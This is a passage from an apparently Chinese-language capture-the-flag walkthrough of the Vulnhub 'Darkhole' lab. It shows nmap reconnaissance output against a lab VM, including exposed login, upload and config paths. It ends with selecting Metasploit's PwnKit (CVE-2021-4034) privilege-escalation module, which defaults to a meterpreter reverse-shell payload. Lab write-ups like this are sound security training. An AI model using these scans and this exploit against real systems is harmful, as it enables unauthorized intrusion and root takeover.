┌──(kali㉿kali)-[/miao/vulnhub/Darkhole] └─$ sudo nmap -sn 192.168.1.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-08 19:45 CST Nmap scan report for 192.168.1.1 Host is up (0.00035s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.1.2 Host is up (0.00053s latency). MAC Address: 00:50:56:E8:96:F1 (VMware) Nmap scan report for 192.168.1.4 Host is up (0.00052s latency). MAC Address: 00:0C:29:61:27:92 (VMware) Nmap scan report for 192.168.1.254 Host is up (0.00028s latency). MAC Address: 00:50:56:EF:22:46 (VMware) Nmap scan report for 192.168.1.5 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 2.04 seconds
nmap扫描
（1）进行端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(kali㉿kali)-[/miao/vulnhub/Darkhole] └─$ sudo nmap -sT --min-rate 10000 -p- 192.168.1.4 -oA nmapscan/ports Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-08 19:46 CST Nmap scan report for 192.168.1.4 Host is up (0.0058s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:61:27:92 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.75 seconds
┌──(kali㉿kali)-[/miao/vulnhub/Darkhole] └─$ sudo nmap -sT -sV -O --min-rate 10000 -p22,80 192.168.1.4 -oA nmapscan/detail Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-08 19:47 CST Nmap scan report for 192.168.1.4 Host is up (0.0029s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) MAC Address: 00:0C:29:61:27:92 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.63 seconds
（3）进行UDP扫描
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(kali㉿kali)-[/miao/vulnhub/Darkhole] └─$ sudo nmap -sU -p22,80 192.168.1.4 -oA nmapscan/udp Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-08 19:48 CST Nmap scan report for 192.168.1.4 Host is up (0.00033s latency).
PORT STATE SERVICE 22/udp closed ssh 80/udp closed http MAC Address: 00:0C:29:61:27:92 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds
┌──(kali㉿kali)-[/miao/vulnhub/Darkhole] └─$ sudo nmap --script=vuln -p22,80 192.168.1.4 -oA nmapscan/vuln Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-08 19:48 CST Nmap scan report for 192.168.1.4 Host is up (0.00049s latency).
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) |_http-dombased-xss: Couldn't find any DOM based XSS. | http-cookie-flags: | /: | PHPSESSID: | httponly flag not set | /login.php: | PHPSESSID: |_ httponly flag not set | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.1.4 | Found the following possible CSRF vulnerabilities: | | Path: http://192.168.1.4:80/login.php | Form id: login__username | Form action: login.php | | Path: http://192.168.1.4:80/register.php | Form id: login__username |_ Form action: |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-enum: | /login.php: Possible admin folder | /config/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' | /css/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' | /js/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' |_ /upload/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' MAC Address: 00:0C:29:61:27:92 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 31.21 seconds
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec 2022-01-25 excellent Yes Local Privilege Escalation in polkits pkexec 1 \_ target: x86_64 . 2 \_ target: x86 . 3 \_ target: aarch64 .
Interact with a module by name or index. For example info 3, use 3 or use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec After interacting with a module you can manually set a TARGET with set TARGET 'aarch64'
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
